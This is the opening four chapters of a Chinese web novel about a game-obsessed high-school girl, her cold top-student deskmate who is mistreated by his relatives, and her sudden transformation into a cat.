《变成同桌的猫猫之后》
1. chapter1
首发晋江文学城/2025.11.14
——
夏日炎热。
教室里的空调吹的甚是舒心。
烈日毒辣。
坐落于正南方向,有前面的厚德楼挡着,刺眼的阳光照不到沈初柠那个位置,只堪堪停于教室外面的那个走廊。
英语老师临时有事,拿了套卷子,让课代表发下去,在中午课上做完交齐。
课代表坐在讲台,打开播放器放着录音材料。
她是个很文静的女生,平时温温柔柔的,只要不是弄出很大的动静,基本她对台下的事都睁一只眼闭一只眼。
讲台上的课代表其实算是个摆设,一班的学生都是学霸,而学霸无一没有良好的自觉性。
所以,教室里除却那标准的纯英式的男女对话回荡,几近是寂静无声。
除却沈初柠。
如此大好时光,她自是不能错过,巡视了一遍四周。
大致安全。
便赶紧悄悄从书包里摸索出手机,开了把游戏的排位。
刚开始还是正常的选英雄环节。
沈初柠按了快捷信息表示帮辅助先抢。
后等辅助等位置都差不多选完,又看了对面的搭配阵容,便不怎么犹豫地拿了她的本命英雄卡夕迷。
卡夕迷在KING这个游戏的出场率一直不高。复杂的连招机制和高门槛的操作,让这个角色即便被官方加强数次,却依然鲜有人问津。
及腿的长发加上酷酷的公主切,黑发红眸,左手长刀右手断刃,利落的身手。
沈初柠扼腕惋惜,这又飒又美的,怎么就不受欢迎了。她叹了口气,滑动几下屏幕。没有市场的角色,衣服皮肤只有那么几件。
我方优先选人,占据先机。依照公平机制,最后是对面依据我方阵容进行反制选择。
却没想到了最后环节,对方直接锁了卡鹿丝。
沈初柠从惋惜的情绪中回过神,隐隐察觉不对。
卡鹿丝是偏辅助的一个c位,强度不高,这个赛季更是被削得连辅助都打不过,但这个英雄依旧有很高的热度。以可爱的外形,甜美的声音,简单的操作,吸引了大批女孩子的喜爱,尤其是富婆。
沈初柠游戏段位不低,因为强度问题,卡鹿丝不可能在这场对战……除非对面花钱找了演员。
意思是我方出了叛徒。
她心里直呼倒霉,又敛神凝色。尽快的刷完野区和抓人,将经济与对面拉开些距离。
高分段对演员行为的惩罚非常严厉,一旦被系统判定,轻则扣分,重则禁赛。因此,开局那个卧底一直藏得很好。
直到双方经济逐渐拉开,对方明显劣势,他才开始暴露,原来是射手域迪娜。从一开始和平发育,到后面频频露出破绽送人头,硬是把对面射手养肥。
其他游戏还好说,KING里一直有个一致默认的说法,游戏前期靠打野后期靠射手。
可惜我方这边队友水平都中规中矩,除却沈初柠,没有一个能拉出来单看。
两方拉扯极久,眼看着游戏进入后期,而对面被域迪娜养起来的射手却即将称神。
明天就要赛季更新,沈初柠还有五颗星才能上百星,她只能尽可能的赢得每一把对局。
毕竟输一把再赢一把,最终浪费的只会是时间。而现在最缺的就是时间。沈初柠这次是认识到什么叫做一寸光阴一寸金。
对面意识和水平也都不高,如果不是域迪娜这个演员,沈初柠早把队友带飞了。
她开始打字:[域迪娜,可不可以不要送了。]
又补充:[对面给你多少钱,我双倍给你?]
沈初柠并不缺钱。
可惜域迪娜并不理她,而是又故意露出一个破绽被对面拿下。对面的焱巳由此成功获得一大笔金币,由此成神。
眼看着她好不容易拉来的经济差距就这么轻易地被对面追平,沈初柠忍住火气,复活后继续绕后切c位,拉回一点点经济差。
和沈初柠差不多段位的队友无一不是想上分的,眼看游戏结局被演员造作成这样,哪怕顶着禁言的风险也没忍住开麦大骂。
但终究是无能为力。
最终以我方水晶在一片谩骂声中轰然倒塌。
Defeat。
沈初柠将举报提交护卫队。
最终还是没忍住,忿忿不平小声骂了句废物、垃圾。
大垃圾!!!
但她却总感觉哪里不太对劲。
刚刚低头没怎么发现,现在一抬头就好像光线被什么东西给挡住。
沈初柠抿了抿唇,小心翼翼抬眸望了眼窗外。
却见班主任瞪眼看着她,眸中闪烁的熊熊怒火仿佛呼之欲出,即将燃烧整个教学楼。
一声怒吼振聋发聩——
“沈初柠,你给我出来!”
——
出师不利。
不仅排位输了,课上暗箱操作偷玩手机还被班主任逮了个正着。
沈初柠垂丧着脑袋,跟在江涛的后面。
进了办公室。
空调嗖嗖的凉气争先恐后的环在沈初柠身边,直叫她心寒。
恰在此时下课铃响起,是午睡时间。
办公室里的老师见了进来的沈初柠,各自心照不宣地彼此望了眼。
这午觉大概是睡不成了。
沈初柠算是这办公室的常客。
没办法,成绩不行,总得来办公室“喝几杯茶”。这次更甚,偷摸玩手机还被老班发现了。
沈初柠甚至能看到接下来被骂的狗血零头的自己。
果不其然,一声怒骂响彻教学楼五层的云霄。
老班从抽屉里甩出刚出来还没来得及宣布的成绩表,“沈初柠,你看看你这次月考考的什么东西!”
沈初柠看了眼她的名次,倒一,和上次一模一样。又看了眼她的分数,不错的,有那么点小小进步,高了十几分。
但她还是和之前一样,继续低着头,不说话。
经验之谈。
但凡她开口为自己辩解一次,老班的斥责必定随之而来,怒火充斥云霄,然后整个五楼这个中午都别想安宁。
江涛一脸痛心疾首:“你这成绩能考什么大学!以后能活成什么样!”
“天天打游戏。”
他越说越激动,指向那个还停留在“defeat”的手机界面。
“你以后靠游戏混饭吃啊?”
“你看看你同桌,人家许屿考试次次市第一,比赛哪次不是拿的金牌?你打游戏能混成什么名次!”
沈初柠没忍住,小声回了句:“我国服。”
老班没听清,“什么?”
“全国第一……”
老班:“……”
最终以没收手机,罚沈初柠1000字检讨告终。
老班抚着被沈初柠气的涨疼的头,甩手让她“就在办公室里写,别让我看见你”。
沈初柠如蒙大赦,赶紧溜到角落,巴不得他眼不见为净。
1000字对于沈初柠来说算是不难的,平时对那些演员队友的吐槽都能说上了个五千字。
三十多分钟就能解决。
沈初柠硬是又拖了十几分钟,等下课铃响了,才将写完的检讨交到班主任办公桌上。
江涛算是对她彻底无望了,看见沈初柠一过来,好不容易缓过来的太阳穴又突突地跳。最后他摆了摆手,示意她回去,连话都懒得说。
——
沈初柠轻着脚步走到教室。
教室里熙熙攘已经走了一小部分同学,但大多数人还在午睡。她抬头望向自己的座位,恰好对上了同桌许屿投来的目光。
他手中握着笔,面前摊着一套试卷,眼底清明,看样子整个中午都没有休息。
上周班主任重新排了位置,许屿坐外排。沈初柠特意把写检讨的时间拖长,等到下课才姗姗回到教室,就是怕来得太早会吵到他午睡。座位之间那么窄,如果他在休息,她就不得不叫醒他才能进去。好吧,她只是怕许屿被吵醒,朝她发火,虽然许屿看上去也不屑于和她发火的样子……
没想到许屿竟然睡都没睡,她有种鸡抱鸭蛋,白操心的感觉。
许屿是公认的学神。
在沈初柠眼中更是高岭之花一般的存在。
许屿成绩特别好,但不像我等凡夫俗子想要考得高就得拼命学习。他平时也就是写写作业,体育课和运动会照样参加,该玩就玩。
沈初柠从没见他
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放弃午休时间来做卷子。
难道……是为了等她?
毕竟不管是谁,吵醒别人午睡总归不太礼貌。他是不想让她有心理负担?
这个念头刚冒出来,就被沈初柠迅速否决。
如果是别人,或许还有这个可能。
但那是许屿……
算了,别自作多情了。
沈初柠也不作他想,走到位置上轻轻拉开椅子,几乎没发出一点声响。然后整个人软软地趴了下去,将脸埋进臂弯里。
还好周四午休和体育课是连着的。
不然下午坐大牢,得困死。
只是与周公下棋还没多久,却被秦宋一巴掌给呼起。
沈初柠睁着半懵的眼,望着不知收敛为何物的秦宋,心里琢磨的该怎么让他提前体验一把社会的险恶。
他额间挂着汗,应是刚从操场那边运动回来。
秦宋随即又给她递来一只冰激凌,沈初柠才决定稍稍放他一马。
秦宋和沈初柠是发小。两个人的关系,小时候好的可以穿一条裤子,现在嘛,反正沈初柠最近是要对他避而远之,原因无他,游戏技术实在难以吐槽,还又菜又爱玩。
与沈初柠这个纯学渣不同,秦宋也算天资聪颖那一挂的。
在这个卧虎藏龙的重点班里,别看秦宋整天吊儿郎当的,他的分数也有那么一席之地。
沈初柠感叹着同人不同命,凭什么同样不务正业,他成绩就那么好。
却见秦宋一屁股在许屿的位置上坐下。
“晚上来不来KING。”
“不来。”沈初柠想都没想就拒绝。
抬眸发现秦宋盯她,突然就意识到她手中还有他买的冰激凌。
拿人手短,吃人嘴软。
沈初柠找了个合适的借口:“手机被老班收了,没有办法的。”
却听秦宋冷哼一声。
好吧。
她有好几个备用机,秦宋也不是不知道。
沈初柠只好道:“再带个周曜吧。”
以秦宋这个水平,她可能一个人带不动。毕竟玩个辅助牛鬼闪现用来逃跑的,沈初柠也不好说他什么。
“哦。他已经传奇了。”
沈初柠动作顿了下来,“他段位和我差不多,怎么他打得那么快?”
“中午打的好像。”秦宋突然想到,“对了,周曜让我带句话给你。”
“你以前那个靠门的位置,真的非常不错的,他玩得无比舒心。”
沈初柠:“……”
突然就感觉手上的冰激凌不香了。
周曜现在那个位置是沈初柠以前坐的。
一班一直是南华附中的重点班,班内竞争激烈,为了鼓励学生的积极性,安排座位时,按照名次来排位置。
沈初柠是走狗屎运进班的。文理分班考时,沈初柠超常发挥进的一班。
但肚子里的墨水就这么多。
不出意外,沈初柠一直是班里的吊车尾,被安排到了最后的一个位置。
沈初柠甚是满意。
且不说那边靠着后门,班主任在走廊路过根本就看不到她的小动作。
靠着她超高的交友技巧,和周边的同学都玩的不错,有了深厚的革命友谊。
一旦有什么风吹草动,他们必来相告,且她能及时止损,完全让老师们发现不了任何异常。
于是沈初柠堕落的愈发迅速。
班里吊车尾的大多是男生,沈初柠原先坐在他们身边显得有些突兀。
老班显然对这种情况闻所未闻。
毕竟一班大多成绩一个个都好的没话说,像沈初柠这样的,他教学几十年来都没有遇见过。
但老班秉持的教好每一位学子的教学理念,更改了排位置的方法。
——扶贫政策,第一扶持倒一,以此类推。
由此沈初柠就和许屿成为同桌,还是中间靠窗的那种。
终究是打错了算盘。
沈初柠表示,老班这样,除了给他俩之间施加痛苦,并没其他用处。
对她更甚。
冷冰冰的学神别说帮她做掩护了,连搭理她都难。
上课闲来无事找他说话,都能被他一句“好好听课”给怼回去。
2. chapter2
说曹操,曹操就到。
下课铃响了。
许屿从外面走来,拿着瓶矿泉水。
他本来就白,显然又是不懂护理的。皮肤被阳光晒得发红。
唇红齿白的,让人不可否认他长得的确很好。
但沈初柠随即又想到她那被老班没收的手机。
前些日子呼朋唤友的滋润肆意,与这几天因着无人掩护,拿个手机都畏畏缩缩。
沈初柠越回想越对比,就愈发的痛心疾首。
她移开视线不再去看。
“学神来了。”
意思是趁人家还没到就赶紧走,随便占用人家位置不好。
“哦。”秦宋起身离开。
临走前他敲了她身前的桌子,“晚上带我。”
“懂。”
沈初柠忽然想到,她向后望去:“你手机不是被秦叔收了吗?”
秦宋露出一口大白牙:“山人自有妙计。”
得。
——
带秦宋上分是个技术活。
这其实也没办法,秦爸看管秦宋比较严。尤其上了高中之后,就不允许秦宋玩手机。
他自然就没有沈初柠有那么多时间在游戏里的训练营练操作,分析装备的搭配。
不过好在秦宋比较听话。
也不像其他有些男生明明玩的菜,还要玩费托斯,奥拓之类长得好看的打野。
沈初柠让他玩辅助,秦宋也不反抗。
不过由于技术原因,每次赛季更新,经过系统自动评定,秦宋都是沈初柠的卧底队友。
虽然这次运气好,没有碰到演员。
但沈初柠蹲草,准备背刺抓射手时,秦宋随即用他的冉冉飞开了个大,将对面射辅又吼到对面防御塔内。
沈初柠:“……”搓货。
她叹息,随即开了条大boss,拉一下经济差。
打到半夜,才入了百星。
沈初柠撑着头昏脑涨的头,突然就想到许屿。
她思考。
要是今天中午能帮忙看一下老班位置,给她一个善意的提醒。那她是不是就不会中午写检讨,体育课补觉,收不了秦宋的贿赂,晚上就不用痛苦带他上分了?
于是沈初柠就做了一个重大的决定。
“秦宋。”
秦宋也困的意识不清:“啊?”
“我要策反许屿!”
沈初宁立下豪情壮志。
她都不敢想如果把许屿成功策反,她该是一个多么快乐的小女孩。
上课开黑有同桌提醒,再凭借她多年的偷玩技术,老班肯定发现不了她在干什么坏事。
更重要的是,学神成了自己人,那他的卷子作业不就可以抄了?标准答案就摆在她面前,到时候平时的小测成绩再也不用听她爸唠叨。然后她爸一高兴,零花钱库库到她口袋里来!
沈初柠越想越开心,越想越激动,越想越清醒,刚刚浓重的困意一下子烟消云散。
拿起纸笔绘出她的策反蓝图。
只是刚要下笔的那一刻沈初柠却犯起了难。
她的人缘一向不差,但真要说她怎么做到班里的人都对她有些好感的,沈初柠也不知道具体用了什么方法,她平时也没刻意讨好谁谁谁啊。
可是为什么许屿一直冷冰冰的呢。
沈初柠求助自己无门,上网百度了起来。
“怎么和同桌搞好关系”。
网络挺好,加载没几秒,答复已经显示在屏幕上——
1.有礼貌的打招呼
2.不黑后说同学坏话
3.不斤斤计较
4.懂得分享和共享话题
沈初柠沉默几瞬。
她虽然成绩不行,礼貌还是非常有的。针对第二点,她也从不背后说别人坏话,骂秦宋王者玩的菜都是当面表达。第三点的话,沈初柠自我肯定,她并不斤斤计较。
而对于第四点。
想她刚和许屿做同桌时,她还是个活泼开朗的小女孩,通俗点说就是话唠。
然后被学神当面指出:“你有点吵。”
可恶。
——
直到第二天沈初柠还是没想到有什么具体方法可以实现她的妄想。
上午最后一节是班主任江涛的数学课。他讲解这次月考的数学卷,用的是许屿的满分试卷。
沈初柠托着腮发。
数列还好说,那个什么不等式简直就是与她互不认识。听不懂她索性就继续思考如何抱上许屿大腿这件事。
沈初柠这个不务正业的,向来是各科老师着重注意对象。以前在最后一排还好说,现在就在眼皮子底下看她还心不在焉。
江涛额角青筋跳动几下,假装在全班扫视一圈,最后定格在神游天外的沈初柠身上。
“沈初柠,”江涛喊她的名字,“你来复述一下,我刚刚所讲的,这道题的三种解法。”
被提及名字。沈初柠猛地回神,连忙站了起来。
江涛讲的是试卷的倒数第二大题的最后一小问,专门给实验班人做的,她这种伪学霸怎么可能会。
投屏上的卷子里密密麻麻的公式和推导,她看了也觉得是天书。别说没听,就算是听了她也不一定能明白。
但别说。许屿这字还真不错,横是横竖是竖的,倒是老沈给她买了那么多字帖,小时候报了那么多书法课,她也比不上。
此时全班的目光都聚焦在她身上,饶是沈初柠这种自认厚脸皮的,也觉得耳根发热,支支吾吾没说出话。等秦宋他们给她传小纸条。
老手段了。江涛也发现过好几次,自然就知道她在墨迹什么。
他冷哼一声:“等什么?”目光扫向那几个有小动作的几人,直到他们安分,才重新看向沈初柠,见人又迷迷瞪瞪地重新发呆。江涛瞬间气不打一处来,“想什么呢?赶紧说。”
沈初柠也是没反应过来,心里话直接就脱口而出:“学神的字,还挺,挺好看的。”
教室里静了一秒,随即爆发出压抑不住的低笑声,以秦宋等人为主,声音最大。
说完片刻,沈初柠才意识到自己说了什么,简直是无地自容,没敢再去看江涛的脸色,必定是面沉如水。
她于是就垂头盯桌面。本性就是闲不住,头不动,视线东张西望,然后看见身旁许屿骨节分明的手。
心里啧啧叹两声,这修长的,就算用平板打KING,估计也是不在话下,够的上方向盘和技能。
江涛自然又是怒目而视,沉默几瞬,稍微平缓心里的怒气,良久憋出一句放学后带你爸来办公室来找我。
沈初柠摸摸鼻子说知道了。
江涛简直看她就头疼,一大个人站那也碍别同学的视线,挥手让她赶紧坐下。
离下课也就还剩十分钟,怕给江涛真气出什么病来,沈初柠也不再走神,目不转睛盯着白板看江涛讲的那道极具复杂的数学题。
好难懂啊好难懂。家人们谁懂啊?
好不容易熬到中午下课,江涛越讲越带劲,拖了小五分钟。
看周边人一个个紧蹙眉头,神情焦急,沈初柠眉间一挑,还好她有先见之明,让虞灿帮她打饭。每周四必有的菠萝咕咾肉数量有限,先到先得,而她这次必然能吃到。
虞灿是隔壁二班的,当初还是因为她,沈初柠说要励志考进实验班。
当时努力是真努力了,也没有多大指望,谁知祖坟冒青烟,真就走了狗屎运。不过运气只有一次,全校就两个实验班,百分之五十的概率,她俩还分道扬镳了起来。
两班相隔,两两相望,唯余失望。
说来惭愧,他们这些同小区一起长大的狐朋狗友们,就沈初柠和六班的申一鸣成绩差了点。
不过现在申一鸣在他们班理混的那叫个如鱼得水,情况还比她好些。
沈初柠晃着笔
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,好不容易等到下课,和秦宋他们朝食堂过去。
在老地方果然看见虞灿坐那,前面一排都是她和申一鸣打的饭,有好几盘,一来一回估计累的不轻。
虞灿看他们过来,没好气地说:“你们班怎么又拖课。”
沈初柠在她面前坐下,“我们老班特性你又不是不知道。”
秦宋嚼着肉“啧”了声,带了点夸张手法,“训了她半节课。”
虞灿一猜就是这样,倒没再继续这话题。
南华平时课业重,也就这点课余时间可以聊聊天。
沈初柠和虞灿平时几乎无话不谈,所以虞灿也知道沈初柠和许屿那些事。
聊着聊着,虞灿就顺道问沈初柠策反许屿那事进行地怎么样了。
沈初柠哪会和她讲,此大业连中道崩殂的机会都没有。她咬了口碗里的肉块含糊其辞过去。
只是等会去倒饭的时候碰见了许屿。
食堂门口排了长队,沈初柠正和站她前面的秦宋讨论着最近KING新出的英雄池,情绪过于激动往后一退不小心踩住了后面人。
连忙道歉,抬头就看见许屿也垂目看她。沈初柠下意识低头看他被踩到的鞋,一个明显的灰脚印。口中的话顿是磕巴起来:“对、对不起。”
她还是比较怕许屿的。
怎么说呢,相当于一种对好学生的敬畏之心?
一开始沈初柠这种情绪不太多,两人刚做同桌那会,她还经常问许屿要不要吃零食。
高中生体能消耗大,饿得快,好吧,主要是她馋。桌肚书包还有书桌下的小巷子都满满堆堆放了好多零食,沈初柠乐于分享,平时她就靠着这堆吃的和周围的同学打好关系,作为同桌,她自然也问他吃不吃。
但每次许屿都说不要。
无论是面包巧克力奶,还是可乐魔芋爽许屿都拒绝。有时候沈初柠偷偷吃辣条,被从外面回来的许屿闻见,她还看见他轻轻蹙眉。
虽然许屿嘴上没说什么,但这细微表情浮动,还是让沈初柠明白她的冒犯,后面就自觉不吃这种味大的了。
还是前面食堂阿姨催促沈初柠,她才从回忆里回过神来,赶紧把饭碗递给阿姨。然后无措看许屿的鞋子,看他鞋子logo。
但是这是一双平平无奇,普通的白板鞋。毫无收获,没有商标。
她问:“学……许学神,你鞋子多少码?我重新赔你一双吧。”
许屿把餐盘也递给食堂阿姨,淡淡开口,“不用。”
“哦哦……好的。”
望着许屿离去的背影,一旁虞灿深有所感,对沈初柠抱以同情:“这也太高冷了吧。”
谁说不是呢?
沈初柠叹了口气,觉得结交大业,全是差池。
下午四节全是英语课,上两节做卷子,下两节讲这次月考卷。
沈初柠英语还行,不得不行,按她爸说的是,赶紧考个雅思,万一咱以后成绩不好,考不上大学。她先把雅思考了,以后还能去国外镀个金回来。
手机也被收了,暂时拿不到家里的新备用机玩。沈初柠索性就听了这么四节课。
傍晚下课前,江涛又巡逻了一番教室,见沈初柠这次学习态度好了不少,才勉强满意。
南华学习管理不是那么严苛,高一高二晚自习留不留随意,高三才会强制。学渣自然没什么自觉性,这段时间都是回家玩。
等下课铃响,沈初柠背起书包走。却在校门口看见沈天都朝她挥手。
沈初柠正觉得疑惑呢。她爸日理万机的,每天应酬不断,怎么有时间来接她?
这想着走过去,打开车门把书包丢进去,却见沈天都没上车。
沈初柠:?
她问:“爸爸?怎么不走?”
沈天都回:“你班主任下午打电话,让我和你去他办公室一趟。”
沈初柠本来伸进后座的腿又收了回去,她突然回忆起这事。
3. chapter3
对于请家长这事,沈天都早已习以为常。
从小沈初柠就不是个娴静的主。
幼儿园揍园霸,小学和小伙伴玩丢沙包,沙包不玩,换成玻璃水球,直接把一层老师办公室里的窗子砸坏。初中……
总之干的坏蛋事不少,有这些对比,因为成绩一般而连累他也被老师训。是以,每当沈初柠因为成绩而被请家长,沈天都甚至觉得这还是小事。
后面听江涛说是沈初柠上课玩手机,他才佯装怒意看了沈初柠一眼。
老手段了,他要是不表态,估计他女儿这班主任估计就是气得不轻。
沈初柠心虚摸摸鼻子。
两人站江涛前面挨了会训,江涛才让他俩回去,顺道友情馈赠了沈初柠那只被没收了的手机。
沈天都向来溺爱女儿。等他俩离开办公室后,沈初柠就问他爸要手机。
毕竟这手机都陪伴她这么久,手机壳上面的装饰图案也是她喜欢的ip角色。
沈天都直接就给。他心里明白就算是把这给没收了,沈初柠也不会乖乖学习。就他给沈初柠的那些零花钱,都够买百八十个了,哪还缺着这一个让她不务正业?
俩人一路离开学校。
沈初柠看司机开车方向,发现不是回家。
“爸爸,我们现在是去哪?”
“上次小刘说一家老字号还不错,带你去尝尝鲜。”
沈初柠“噢”了声没继续说话。
沈天都这话半真半假。等沈初柠到了饭店包厢之后,发现里面还坐着一人,就这标志性的啤酒肚大西庄短油头,她就明白大概又是某某某家老总。
沈初柠也猜到不是什么专门为了尝鲜而来,她爸纯属懒得再让司机送她回家,顺道一起带着吃饭。
如沈初柠所料,饭吃到一半两人就就着酒谈天说地,之后话题不约而同说合作,谈及西区那块拆迁地。
沈初柠听着就无聊,一个人玩手机又不礼貌,就和沈天都说在楼下逛逛。
大鱼大肉吃得她有点腻歪,趁此看看周遭有没有什么油炸好物。
——
许屿也没上晚自习。
他晚上要回去给他堂弟补课。
许屿是和他叔叔和婶婶一起住的。父母在他很小的时候去世,自奶奶过几年也离开人世后,他就由叔叔婶婶代为抚养。
堂弟许格致这次考得不错,为了嘉奖,他妈李秀兰,也就是许屿的婶婶,她今晚买了不少菜,尤其是许格致爱吃的鸡翅排骨之类。
李秀兰是传统家庭妇女,她丈夫许雷又只是月薪几千的保安,以两人微薄的工资,一家人生活实在拮据,连煮这么几道硬菜在平时也难见。
等饭菜接连上桌,即将开饭前,李秀兰打开许格致的房门,吩咐许屿去超市买瓶酱油来,家里酱油用完了。
她从钱包里给许屿拿了十块钱,说酱油要滋味牌的,这个牌子小众,楼下那家小卖部没有,要去街区的星贸大超市里买,一来一回要走接近半小时。
酱油差不多一个味,烧了菜之后更是基本尝不出区别。何况厨房里的那瓶酱油还剩小半瓶,足够用了。
许屿却没说其他,“嗯”了声,换鞋去楼下。
他们所住地方是片筒子楼,楼道昏暗,等到了外面才有一点微弱的灯。
楼下出来纳凉的刘奶奶正扇着风,见许屿出来,她问:“从老远就闻到你婶婶家肉香,算着时间也该吃饭了,怎的还往外跑?”
许屿朝刘奶奶问了声好,“去买酱油。”
刘奶奶望了眼楼上,又瞧着许屿。
这李秀兰向来不是客气的主,见隔壁租房的小姑娘看着温吞好欺负,平时缺点葱姜蒜都得向她借。小姑娘面子薄,每次都不好拒绝。
刘奶奶猜到几分李秀兰让许屿离开的用意,叹了口气,叫许屿待原地别走。回家里拿了几包猪肉脯,折返,硬塞给许屿,说是小孙子这几日不在家,她又牙口不好,吃不了这些,然后回屋子歇息,不给一点许屿拒绝的余地。
几包零食还带着刘奶奶手上的余温,许屿沉默了会,才重新抬步向超市走去。
出了巷子,再走几步路周遭就亮堂起来。直到拐了几个交叉路口,进了步行街。这边店多,来这摆摊做生意的小贩也多,烧烤炸串水果捞应有尽有。
许屿去了李秀兰指定的超市,拿了所需牌子的酱油。扫码,付钱,找零。
回去。
天越发暗,逛夜市的人也多了起来。步行街是必经之路,路过烧烤摊,许屿却被人撞着个正着。
听那人连连道歉。声音很是熟悉,与中午食堂的音调乃至语气一模一样,许屿垂眸,一看,又是沈初柠。
以许屿的视线能看见她毛茸茸的脑袋与露出的白皙脖颈。
沈初柠依旧穿着校服,只是脱去外套,浑身上下都是名牌,与这个繁杂又廉价的市集格格不入。
唯有一点很是相符,都一样吵闹。
许屿对这个几乎不食人间烟火的大小姐是有些烦的,他不明白为什么她总是这么开心,每天叽叽喳喳吵的他头疼。
身前的沈初柠接连道歉,说她不是故意的,刚刚有个人横行霸道,瞧也不瞧她一眼,直接按照原来轨迹,也不避让行人,直接把她一撞,这不,她手上的东西连带着整个人直直往侧方倾去,促成现在的情况。
许屿“嗯”了一声没说其他,不是什么大事,就像中午她踩到他鞋一样,都道歉了,也懒得再追究。
沈初柠听声音觉得怪熟悉的,抬头一看果然是她那学神同桌。看着他身前被她手里炸串弄脏了的衣袖,想起他本就对她岌岌可危的好感,以及微妙的交好进度,沈初柠顿时欲哭无泪。
结交大业,雪上结霜。
“我要不赔你一件吧?你衣服脏掉了。”加上中午那双鞋,能凑上一套了。沈初柠苦中作乐地想。
“不用。”声音依旧淡淡的。
一人在他们之间横插而过,许屿敛目,也没道别,直接提着东西离去。
沈初柠见他走得这么干脆,鼓着腮帮,垂头,百无聊赖地踢踢地上的石子。
她觉得,大概许屿真的很讨厌她吧。也觉得不像,似乎许屿对谁都这样一副冷漠的态度。
手上排好久队才买到的小吃也顿时索然无味,看时间也不早,沈初柠估摸着她爸生意也快要谈完。
她干脆按原路返回。
七绕八拐,回了饭店,沈初柠突然见门口趴了只小猫。浑身有点脏,看不出原来的颜色。它朝她喵喵叫,瘦骨嶙峋的,大致是饿了。
沈初柠看了眼塑料包装袋重油重辣的食物,还是觉得算了。跑到酒店大厅找服务员说了想点的菜。因为沈天都是vip顾客,服务员对沈初柠的态度格外好,几乎有求必应,从后厨给她端了水煮过的大虾。
沈初柠才折回酒店门口撕开来小片小片地喂给它。
——
许屿开门时,李秀兰正坐在沙发上看电视剧。
年代剧,家长里短的,她最爱看这些。
李秀兰见许屿回来瞥了他一眼,连话都没说一句。直到许屿将超市找余的零钱交还给她,李秀兰才开口:“就这些?我记得那酱油是七块的。”
“就这些。”许屿回。
李秀兰狐疑地盯他两秒,半晌才“嗯”了声。拿过酱油瓶,让许屿先去吃饭。
紧接着她又补充说是许屿回来的太晚,他们就索性先吃了,不过桌上还是剩了点东西,让许屿赶紧吃完顺便把锅碗洗一起了。
许屿答了声,去厨房里洗手,盛了电饭煲里的饭。
掀开罩菜网。
桌上还剩了点残羹剩饭,半盘冷掉的炒豆芽和一点冬瓜汤。那几道荤腥被人全吃了个感性,留了点汤汁,昭示着原先存在过得痕迹。
只是52平2居室房子,客厅与厨房离得也近。李秀兰坐着就瞧见许屿那边的情形。她拿起身侧的遥控,目不斜视地盯着电视屏幕,和许屿说:“等会洗完碗去看着你弟弟写作业。你弟可没有你这么厉害能考南华,都是一家人,你可要帮衬一下他。
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”
许屿答应,似乎早就习惯了这样的生活。
李秀兰满意点头。
许屿就着剩余的菜汤把饭吃完。整理好厨房就拿了江涛给他的竞赛习题敲响许格致的房门。
许格致正在打游戏,与他们班男生连麦五排。看见来人是许屿,扫了他一眼就继续手上的动作。
“你妈让我看你写作业。”许屿开口。
“知道了,李秀兰的走狗。”许格致不耐烦,“等我打完这把。”
过了五分钟,界面显示defeat。
听见游戏提示音,许屿重复刚才的话。
“行行行。”许格致骂了声脏话,扔下手机。翻书,打开今天老师布置的习题。
看了两页就没做的兴趣,拿了手机又刷起视频。
许屿提醒他。
许格致又翻了两下白眼,“我在搜解题思路懂不懂?烦死了。”他突然想到个好主意,“喂,许屿。我要喝果汁,去给我拿来。”
见许屿不动,他推推他的胳膊,“快点。不然我和我妈说了。”
许屿放下刚整理好的思路,走出房门没几步,许格致就飞快窜到门口,然后“砰”的一声,房门重重关上,上锁,紧闭。
许屿转头与李秀兰的视线对上。
李秀兰见此形情,这才放下手上的瓜子,穿着拖鞋踢踏踢踏朝他走过去,敲响许格致的房门,“干嘛呢?开门。”
许格致的声音从门那头出来,“不要!许屿天天在我旁边,我不适应!让他滚!”
李秀兰踢门,本就不太结实的木漆门开始摇摇欲坠,不想花多余钱修,她这才悻悻作罢,低骂了句“讨债鬼”。
瞥了眼许屿:“不爱学就别管他,你自己回屋里歇着去吧。”
许屿转过身,还没走,隐隐约约就听她低声骂了句“真没用”。
许屿倒是没有其他感受,早有预料似的,手里还拿着刚刚带进屋里的习题。
过几月就要参与京大的冬令营。获了奖,名次好的就有保送资格,尤其是能获得一笔不错的奖学金。
生活处处要钱,叔父婶婶家自然不可能帮他出。许屿的学费还是学校看他成绩优异,才给他全免的,加上在学校里的伙食费。
许屿奶奶奶奶去世之前,将他托付给叔叔婶婶一家,以及给了他父母车祸的那笔丰厚的赔偿款。
一开始李秀兰对许屿还算不错,渐渐的,他们把钱花光之后,就没之前那么耐心。
晚上十点左右,房子里突然断了电。
许雷九点多回来,白天早班,晚上还要去跑滴滴。断电时他刚洗完头,准备去楼下看看电闸。
小区破旧,连物业都没有,电闸水费什么的当然是得每户自个儿弄。
房子隔音效果差,除非故意把声音弄清,基本都能听见。
许雷看没电,就想出去看。李秀兰拉住他,白了他眼:“外面黑灯瞎火的,也不怕摔着你。”
声音由远及近,然后许屿在房内听她敲了门:“去看看怎么回事。”
——
只是跳闸。
估计家家户户空调用多了,电路过载导致。
许屿重新拉上电闸,楼上李秀兰家亮起了光。
他打算回去。抬脚却发现被一个毛茸茸的东西扒拉住,黑乎乎的看不清是什么东西,只是柔软的触感,大概明白是一只猫。
小猫“喵喵”朝他叫了两声。
许屿收起目光,也不管那个小东西,朝楼梯处走去。
身后的猫看他这么冷酷且不近人情。
周遭都是漆黑,看着就阴森可怖。饶是沈初柠这种胆大的也觉得挺可怕,万一再碰上个猫贩子什么的,被卖到猫肉店,她也可以和这个世界说拜拜了。
她赶紧用四肢追赶许屿,然后用牙咬住他的裤脚。
“呜哇,别走!我害怕。”
发出的声音却是“喵喵喵喵喵”。
是的,近十八年来都是纯人类的沈初柠,今晚突然变成了一只猫。
4. chapter4
论沈初柠怎么突然变成一只猫。
她也不知道。
这事可就说来话长。
——
她之前在楼下喂了会儿猫,沈天都就和他那位合作对象谈笑风生从楼上下来。
见了陌生人,小猫应激似的跑开,便不见踪迹。
沈初柠喊了几声它没应,也不太在意。相逢即是缘,她本来想着把它带回去养着,现在看来是没机会了。
晚上沈初柠和沈天都回去后,她就被秦宋喊着来三排。
游戏上线后,却不见秦宋踪迹。
秦宋磨磨蹭蹭说突然有点事,让她和周曜等会。
沈初柠当时已经洗完澡躺床上,手机放枕边,拿起一旁的平板刷视频。刷着刷着,由于这几天熬夜奋战,精神不济,就不小心睡去。
等再次睁眼,她就发现处在一块黑漆漆的地方。
脚下是青瓦石砖,周边的草有些比她整个人还高。
这几天沈初柠还喜欢听末日小说,这环境,这氛围,她下意识还以为是一觉过后生物大进化了来着。
但沈初柠仰头发现,周边的楼房变得超级超级高,总不能房子也跟着变大了。
这说明是她变小了。
